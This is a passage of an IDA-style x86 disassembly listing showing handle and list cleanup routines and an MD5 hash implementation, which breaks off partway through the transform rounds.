		add	esp, 8
		test	esi, esi
		jnz	short loc_434985
		mov	ecx, [esp+8+arg_0]
		pop	edi
		mov	eax, 0Ch
		mov	[ecx], esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434985:				; CODE XREF: sub_434960+15j
		call	near ptr 274082Ch
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jnz	short loc_4349AE
		push	esi
		mov	edi, 0Bh
		nop
		call	near ptr 77C2C21Bh
		mov	edx, [esp+0Ch+arg_0]
		add	esp, 4
		xor	eax, eax
		mov	[edx], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4349AE:				; CODE XREF: sub_434960+30j
		mov	eax, [esp+8+arg_4]
		test	eax, eax
		jz	short loc_4349CB
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	dword ptr [esi+8], 0FFFFFFFFh
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4349CB:				; CODE XREF: sub_434960+54j
		mov	ecx, [esp+8+arg_0]
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	esi
		retn
sub_434960	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434A00	proc near		; CODE XREF: sub_401AB4j

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		xor	ebp, ebp
		cmp	ebx, ebp
		jz	loc_434A90
		cmp	[ebx+0Ch], ebp
		jz	short loc_434A6C
		cmp	[ebx+4], ebp
		jz	short loc_434A6C
		lea	eax, [ebx+8]
		push	eax
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_434A6C
		push	esi
		mov	esi, [ebx+0Ch]
		cmp	esi, ebp
		jz	short loc_434A5F
		push	edi


loc_434A33:				; CODE XREF: sub_434A00+5Cj
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_434A5A
		mov	edi, [esi+10h]
		push	esi
		mov	[esi+8], ebp
		mov	[esi+10h], ebp
		call	sub_4010C3
		push	esi
		call	sub_40105F
		add	esp, 8
		mov	esi, edi


loc_434A5A:				; CODE XREF: sub_434A00+3Ej
		cmp	esi, ebp
		jnz	short loc_434A33
		pop	edi


loc_434A5F:				; CODE XREF: sub_434A00+30j
		lea	eax, [ebx+8]
		push	eax
		call	sub_4010C3
		add	esp, 4
		pop	esi


loc_434A6C:				; CODE XREF: sub_434A00+13j
					; sub_434A00+18j ...
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 27400EAh
		cmp	[ebx+4], ebp
		jz	short loc_434A86
		lea	ecx, [ebx+8]
		push	ecx
		call	sub_402252
		add	esp, 4


loc_434A86:				; CODE XREF: sub_434A00+78j
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_434A90:				; CODE XREF: sub_434A00+Aj
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
sub_434A00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_434AD0	proc near		; CODE XREF: sub_4020F9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_5103C4
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		cmp	esi, eax
		jz	short loc_434AF4
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_434B03
		pop	esi
		mov	eax, 2
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_434AF4:				; CODE XREF: sub_434AD0+11j
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_434B03
		mov	eax, ebx


loc_434B03:				; CODE XREF: sub_434AD0+1Aj
					; sub_434AD0+2Fj
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_434B65
		test	eax, eax
		jz	short loc_434B52
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_434B52
		test	ebx, ebx
		jz	short loc_434B52
		mov	ecx, [eax+80h]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jz	short loc_434B3D


loc_434B27:				; CODE XREF: sub_434AD0+65j
		cmp	[ecx+8], esi
		jz	short loc_434B39
		mov	ecx, [ecx+0Ch]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jnz	short loc_434B27
		jmp	short loc_434B3D
; ---------------------------------------------------------------------------


loc_434B39:				; CODE XREF: sub_434AD0+5Aj
		test	ecx, ecx
		jnz	short loc_434B52


loc_434B3D:				; CODE XREF: sub_434AD0+55j
					; sub_434AD0+67j
		push	esi
		push	eax
		lea	eax, [esp+14h+arg_0]
		push	eax
		call	sub_401DDE
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_434B65


loc_434B52:				; CODE XREF: sub_434AD0+3Cj
					; sub_434AD0+43j ...
		mov	ecx, [esi]
		push	ebx
		push	ecx
		call	near ptr 2760000h
		nop
		test	eax, eax
		jnz	short loc_434B65
		mov	edi, 0Bh


loc_434B65:				; CODE XREF: sub_434AD0+38j
					; sub_434AD0+80j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_434AD0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_434BA0	proc near		; CODE XREF: sub_401190j
		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 27D0818h
		mov	esi, eax
		call	sub_438250
sub_434BA0	endp

; ---------------------------------------------------------------------------
		dd 448BF88Bh, 88B1024h,	0C1AEE851h, 5690022Fh, 0E890D88Bh
		dd 230B438h, 36CAE857h,	8B5F0000h, 0C35B5EC3h, 3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_434BF0	proc near		; CODE XREF: sub_401A69j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		mov	[eax+14h], ecx
		mov	[eax+10h], ecx
		mov	dword ptr [eax], 67452301h
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	dword ptr [eax+8], 98BADCFEh
		mov	dword ptr [eax+0Ch], 10325476h
		retn
sub_434BF0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434C30	proc near		; CODE XREF: sub_401C26j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, [esp+10h+arg_8]
		mov	ecx, [esi+10h]
		mov	eax, ecx
		lea	edx, ds:0[edi*8]
		shr	eax, 3
		lea	ecx, [ecx+edi*8]
		and	eax, 3Fh
		cmp	ecx, edx
		mov	[esi+10h], ecx
		jnb	short loc_434C5B
		inc	dword ptr [esi+14h]


loc_434C5B:				; CODE XREF: sub_434C30+26j
		mov	ebx, [esi+14h]
		mov	ecx, edi
		shr	ecx, 1Dh
		add	ebx, ecx
		mov	[esi+14h], ebx
		mov	ebx, 40h
		sub	ebx, eax
		cmp	edi, ebx
		jb	short loc_434CB9
		mov	edx, [esp+10h+arg_4]
		push	ebx
		lea	eax, [eax+esi+18h]
		push	edx
		push	eax
		call	sub_435A30
		lea	ecx, [esi+18h]
		push	ecx
		push	esi
		call	sub_434DA0
		mov	ebp, ebx
		add	ebx, 3Fh
		add	esp, 14h
		cmp	ebx, edi
		jnb	short loc_434CB5


loc_434C99:				; CODE XREF: sub_434C30+83j
		mov	edx, [esp+10h+arg_4]
		lea	eax, [edx+ebx-3Fh]
		push	eax
		push	esi
		call	sub_434DA0
		add	ebx, 40h
		add	esp, 8
		add	ebp, 40h
		cmp	ebx, edi
		jb	short loc_434C99


loc_434CB5:				; CODE XREF: sub_434C30+67j
		xor	eax, eax
		jmp	short loc_434CBB
; ---------------------------------------------------------------------------


loc_434CB9:				; CODE XREF: sub_434C30+41j
		xor	ebp, ebp


loc_434CBB:				; CODE XREF: sub_434C30+87j
		mov	ecx, [esp+10h+arg_4]
		sub	edi, ebp
		add	ebp, ecx
		push	edi
		lea	edx, [eax+esi+18h]
		push	ebp
		push	edx
		call	sub_435A30
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_434C30	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434D10	proc near		; CODE XREF: sub_402176j

var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		lea	eax, [esp+8+var_8]
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_4]
		push	8
		lea	esi, [edi+10h]
		push	esi
		push	eax
		call	sub_435950
		mov	eax, [esi]
		add	esp, 0Ch
		shr	eax, 3
		and	eax, 3Fh
		mov	ecx, 38h
		cmp	eax, 38h
		jb	short loc_434D43
		mov	ecx, 78h


loc_434D43:				; CODE XREF: sub_434D10+2Cj
		sub	ecx, eax
		push	ecx
		push	offset aA	; "€"
		push	edi
		call	sub_401C26
		lea	ecx, [esp+1Ch+var_8]
		push	8
		push	ecx
		push	edi
		call	sub_401C26
		mov	edx, [esp+28h+arg_0]
		push	10h
		push	edi
		push	edx
		call	sub_435950
		push	58h
		push	0
		push	edi
		call	sub_435A60
		add	esp, 30h
		pop	edi
		pop	esi
		add	esp, 8
		retn
sub_434D10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434DA0	proc near		; CODE XREF: sub_434C30+58p
					; sub_434C30+73p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 40h
		mov	ecx, [esp+40h+arg_4]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+4Ch+arg_0]
		push	edi
		push	40h
		lea	edx, [esp+54h+var_40]
		mov	eax, [esi]
		mov	edi, [esi+4]
		mov	ebx, [esi+8]
		mov	ebp, [esi+0Ch]
		push	ecx
		push	edx
		mov	[esp+5Ch+arg_0], eax
		call	sub_4359C0
		mov	eax, edi
		mov	edx, [esp+5Ch+arg_0]
		not	eax
		mov	ecx, ebx
		and	eax, ebp
		and	ecx, edi
		or	eax, ecx
		mov	ecx, [esp+5Ch+var_40]
		add	eax, ecx
		lea	ecx, [edx+eax-28955B88h]
		mov	edx, edi
		mov	eax, ecx
		shr	eax, 19h
		shl	ecx, 7
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	edx, eax
		not	ecx
		and	ecx, ebx
		or	ecx, edx
		mov	edx, [esp+5Ch+var_3C]
		add	ecx, edx
		lea	edx, [ecx+ebp-173848AAh]
		mov	ecx, edx
		shr	ecx, 14h
		shl	edx, 0Ch
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		mov	ebp, ecx
		not	edx
		and	edx, edi
		and	ebp, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, ecx
		lea	ebx, [ebx+edx+242070DBh]
		mov	edx, ebx
		shr	edx, 0Fh
		shl	ebx, 11h
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		and	ebp, edx
		not	ebx
		and	ebx, eax
		or	ebx, ebp
		mov	ebp, [esp+5Ch+var_34]
		add	ebx, ebp
		lea	ebx, [edi+ebx-3E423112h]
		mov	edi, ebx
		shl	edi, 16h
		shr	ebx, 0Ah
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_30]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	eax, [eax+edi-0A83F051h]
		mov	edi, eax
		shr	edi, 19h
		shl	eax, 7
		or	edi, eax
		add	edi, ebx
		mov	eax, edi
		and	ebp, edi
		not	eax
		and	eax, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_2C]
		add	eax, ebp
		lea	ecx, [ecx+eax+4787C62Ah]
		mov	eax, ecx
		shr	eax, 14h
		shl	ecx, 0Ch
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		mov	ebp, eax
		not	ecx
		and	ecx, ebx
		and	ebp, edi
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, eax
		lea	edx, [edx+ecx-57CFB9EDh]
		mov	ecx, edx
		shr	ecx, 0Fh
		shl	edx, 11h
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, edi
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_24]
		add	edx, ebp
		lea	ebx, [ebx+edx-2B96AFFh]
		mov	edx, ebx
		shl	edx, 16h
		shr	ebx, 0Ah
		or	edx, ebx
		mov	ebx, ecx
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edi, [edi+edx+698098D8h]
		mov	edx, edi
		shr	edx, 19h
		shl	edi, 7
		or	edx, edi
		add	edx, ebx
		mov	edi, edx
		and	ebp, edx
		not	edi
		and	edi, ecx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	edi, ebp
		lea	eax, [eax+edi-74BB0851h]
		mov	edi, eax
		shr	edi, 14h
		shl	eax, 0Ch
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		not	eax
		mov	ebp, edi
		and	eax, ebx
		and	ebp, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, edi
		lea	ecx, [ecx+eax-0A44Fh]
		mov	eax, ecx
		shr	eax, 0Fh
		shl	ecx, 11h
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ebp, eax
		not	ecx
		and	ecx, edx
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		add	ecx, ebp
		lea	ebx, [ebx+ecx-76A32842h]
		mov	ecx, ebx
		shl	ecx, 16h
		shr	ebx, 0Ah
		or	ecx, ebx
		mov	ebx, eax
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, edi
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_10]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edx, [edx+ecx+6B901122h]
		mov	ecx, edx
		shr	ecx, 19h
		shl	edx, 7
		or	ecx, edx
		add	ecx, ebx
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	edx, ebp
		lea	edi, [edi+edx-2678E6Dh]
		mov	edx, edi
		shr	edx, 14h
		shl	edi, 0Ch
		or	edx, edi
		add	edx, ecx
		mov	ebp, edx
		mov	edi, edx
		not	ebp
		and	edi, ecx
		and	ebx, ebp
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_8]
		add	edi, ebx
		mov	ebx, edx
		lea	eax, [eax+edi-5986BC72h]
		mov	edi, eax
		shr	edi, 0Fh
		shl	eax, 11h
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	ebx, edi
		not	eax
		mov	[esp+5Ch+arg_4], eax
		and	eax, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_4]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax+49B40821h]
		mov	eax, ebx
		shl	eax, 16h
		shr	ebx, 0Ah
		or	eax, ebx
		mov	ebx, edx
		add	eax, edi
		mov	[esp+5Ch+arg_0], eax
		and	ebx, eax
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_3C]
		or	ebx, eax
		add	ebx, ebp
		mov	ebp, edi
		lea	ecx, [ecx+ebx-9E1DA9Eh]
		mov	ebx, [esp+5Ch+arg_0]
		mov	eax, ecx
		shr	eax, 1Bh
		shl	ecx, 5
		or	eax, ecx
		mov	ecx, [esp+5Ch+arg_4]
		add	eax, ebx
		and	ecx, ebx
		and	ebp, eax
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edx, [edx+ecx-3FBF4CC0h]
		and	ebx, eax
		mov	ecx, edx
		shr	ecx, 17h
		shl	edx, 9
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	edx, ebp
		mov	ebp, [esp+5Ch+var_14]
		or	ebx, edx
		add	ebx, ebp
		lea	edi, [edi+ebx+265E5A51h]
		mov	edx, edi
		shr	edx, 12h
		shl	edi, 0Eh
		or	edx, edi
		mov	edi, eax
		add	edx, ecx
		not	edi
		mov	ebx, edx
		and	edi, ecx
		and	ebx, eax
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_40]
		add	edi, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edi-16493856h]
		mov	edi, ebx
		shl	edi, 14h
		shr	ebx, 0Ch
		or	edi, ebx
		mov	ebx, ecx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	edi, ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, edx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_2C]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		lea	eax, [eax+edi-29D0EFA3h]
		mov	edi, eax
		shr	edi, 1Bh
		shl	eax, 5
		or	edi, eax
		mov	eax, edx
		add	edi, ebx
		not	eax
		mov	ebp, edx
		and	eax, ebx
		and	ebp, edi
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	ecx, [ecx+eax+2441453h]
		and	ebx, edi
		mov	eax, ecx
		shr	eax, 17h
		shl	ecx, 9
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ecx, ebp
		mov	ebp, [esp+5Ch+var_4]
		or	ebx, ecx
		add	ebx, ebp
		lea	edx, [edx+ebx-275E197Fh]
		mov	ecx, edx
		shr	ecx, 12h
		shl	edx, 0Eh
		or	ecx, edx
		mov	edx, edi
		add	ecx, eax
		not	edx
		mov	ebx, ecx
		and	edx, eax
		and	ebx, edi
		or	edx, ebx
		mov	ebx, [esp+5Ch+var_30]
		add	edx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edx-182C0438h]
		mov	edx, ebx
		shl	edx, 14h
		shr	ebx, 0Ch
		or	edx, ebx
		mov	ebx, eax
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	edx, eax
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ecx
		lea	edi, [edi+edx+21E1CDE6h]
		mov	edx, edi
		shr	edx, 1Bh
		shl	edi, 5
		or	edx, edi
		mov	edi, ecx
		add	edx, ebx
		not	edi
		and	edi, ebx
		and	ebp, edx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_8]
		add	edi, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	eax, [eax+edi-3CC8F82Ah]
		and	ebx, edx
		mov	edi, eax
		shr	edi, 17h
		shl	eax, 9
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_34]
		or	ebx, eax
		add	ebx, ebp
		lea	ecx, [ecx+ebx-0B2AF279h]
		mov	eax, ecx
		shr	eax, 12h
		shl	ecx, 0Eh
		or	eax, ecx
		mov	ecx, edx
		add	eax, edi
		not	ecx
		mov	ebx, eax
		and	ecx, edi
		and	ebx, edx
		or	ecx, ebx
		mov	ebx, [esp+5Ch+var_20]
		add	ecx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+ecx+455A14EDh]
		mov	ecx, ebx
		shl	ecx, 14h
		shr	ebx, 0Ch
		or	ecx, ebx
		mov	ebx, edi
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ecx, edi
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_C]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, eax
		lea	edx, [edx+ecx-561C16FBh]
		mov	ecx, edx
		shr	ecx, 1Bh
		shl	edx, 5
		or	ecx, edx
		mov	edx, eax
		add	ecx, ebx
		not	edx
		and	edx, ebx
		and	ebp, ecx
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edi, [edi+edx-3105C08h]
		and	ebx, ecx
		mov	edx, edi
		shr	edx, 17h
		shl	edi, 9
		or	edx, edi
		add	edx, ecx
		mov	edi, edx
		and	edi, ebp
		mov	ebp, [esp+5Ch+var_24]
		or	ebx, edi
		add	ebx, ebp
		lea	eax, [eax+ebx+676F02D9h]
		mov	edi, eax
		shr	edi, 12h
		shl	eax, 0Eh
		or	edi, eax
		mov	eax, ecx
		add	edi, edx
		not	eax
		mov	ebx, edi
		and	eax, edx
		and	ebx, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_10]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax-72D5B376h]
		mov	eax, ebx
		shl	eax, 14h
		shr	ebx, 0Ch
		or	eax, ebx
		add	eax, edi
		mov	ebp, [esp+5Ch+var_2C]
		mov	ebx, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		lea	ecx, [ecx+ebx-5C6BEh]
		mov	ebx, ecx
		shr	ebx, 1Ch
		shl	ecx, 4
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, eax
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		lea	ecx, [edx+ecx-788E097Fh]
		mov	edx, ecx
		shr	edx, 15h
		shl	ecx, 0Bh
		or	edx, ecx
		add	edx, ebx
		mov	ecx, edx
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_8]
		lea	ecx, [edi+ecx+6D9D6122h]
		mov	edi, ecx
		shr	edi, 10h
		shl	ecx, 10h
		or	edi, ecx
		mov	ecx, edx
		add	edi, edx
		xor	ecx, edi
		mov	[esp+5Ch+arg_0], ecx
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_3C]
		lea	eax, [eax+ecx-21AC7F4h]
		mov	ecx, eax
		shl	ecx, 17h
		shr	eax, 9
		or	ecx, eax
		mov	eax, [esp+5Ch+arg_0]
		add	ecx, edi
		xor	eax, ecx
		add	eax, ebp
		mov	ebp, [esp+5Ch+var_30]
		lea	ebx, [ebx+eax-5B4115BCh]
		mov	eax, ebx
		shr	eax, 1Ch
		shl	ebx, 4
		or	eax, ebx
		mov	ebx, edi
		add	eax, ecx
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_24]
		lea	edx, [edx+ebx+4BDECFA9h]
		mov	ebx, edx
		shr	ebx, 15h
		shl	edx, 0Bh
		or	ebx, edx
		add	ebx, eax
		mov	edx, ebx
		xor	edx, ecx
		xor	edx, eax
		add	edx, ebp
		lea	edi, [edi+edx-944B4A0h]
		mov	edx, edi
		shr	edx, 10h
		shl	edi, 10h
		or	edx, edi
		mov	edi, ebx
		add	edx, ebx
		xor	edi, edx
		mov	ebp, edi
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_18]
		lea	ebp, [ecx+ebp-41404390h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	ecx, edx
		xor	edi, ecx
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_40]
		lea	edi, [eax+edi+289B7EC6h]
		mov	eax, edi
		shr	eax, 1Ch
		shl	edi, 4
		or	eax, edi
		mov	edi, edx
		add	eax, ecx
		xor	edi, ecx
		xor	edi, eax
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_34]
		lea	ebx, [ebx+edi-155ED806h]
		mov	edi, ebx
		shr	edi, 15h
		shl	ebx, 0Bh
		or	edi, ebx
		add	edi, eax
		mov	ebx, edi
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		lea	edx, [edx+ebx-2B10CF7Bh]
		mov	ebx, edx
		shr	ebx, 10h
		shl	edx, 10h
		or	ebx, edx
		mov	edx, edi
		add	ebx, edi
		xor	edx, ebx
		mov	ebp, edx
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_28]
		lea	ebp, [ecx+ebp+4881D05h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	ecx, ebx
		xor	edx, ecx
		add	edx, ebp
		lea	edx, [eax+edx-262B2FC7h]
		mov	eax, edx
		shr	eax, 1Ch
		shl	edx, 4
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		xor	edx, ecx
		xor	edx, eax
		add	edx, [esp+5Ch+var_10]
		lea	edi, [edi+edx-1924661Bh]
		mov	edx, edi
		shr	edx, 15h
		shl	edi, 0Bh
		or	edx, edi
		add	edx, eax
		mov	edi, edx
		xor	edi, ecx
		xor	edi, eax
		add	edi, [esp+5Ch+var_4]
		lea	ebx, [ebx+edi+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, [esp+5Ch+var_38]
		lea	ecx, [ecx+ebx-3B53A99Bh]
		mov	ebx, ecx
		shl	ebx, 17h
		shr	ecx, 9
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_40]
		lea	eax, [eax+ecx-0BD6DDBCh]
		mov	ecx, eax
		shr	ecx, 1Ah
		shl	eax, 6
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_24]
		lea	edx, [edx+eax+432AFF97h]
		mov	eax, edx
		shr	eax, 16h
		shl	edx, 0Ah
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_8]
		lea	edi, [edi+edx-546BDC59h]
		mov	edx, edi
		shr	edx, 11h
		shl	edi, 0Fh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_2C]
		lea	ebx, [ebx+edi-36C5FC7h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_10]
		lea	ecx, [ecx+ebx+655B59C3h]
		mov	ebx, ecx
		shr	ebx, 1Ah
		shl	ecx, 6
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_34]
		lea	eax, [eax+ecx-70F3336Eh]
		mov	ecx, eax
		shr	ecx, 16h
		shl	eax, 0Ah
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_18]
		lea	edx, [edx+eax-100B83h]
		mov	eax, edx
		shr	eax, 11h
		shl	edx, 0Fh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_3C]
		lea	edi, [edi+edx-7A7BA22Fh]
		mov	edx, edi
		shl	edx, 15h
		shr	edi, 0Bh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_20]
		lea	ebx, [ebx+edi+6FA87E4Fh]
		mov	edi, ebx
		shr	edi, 1Ah
		shl	ebx, 6
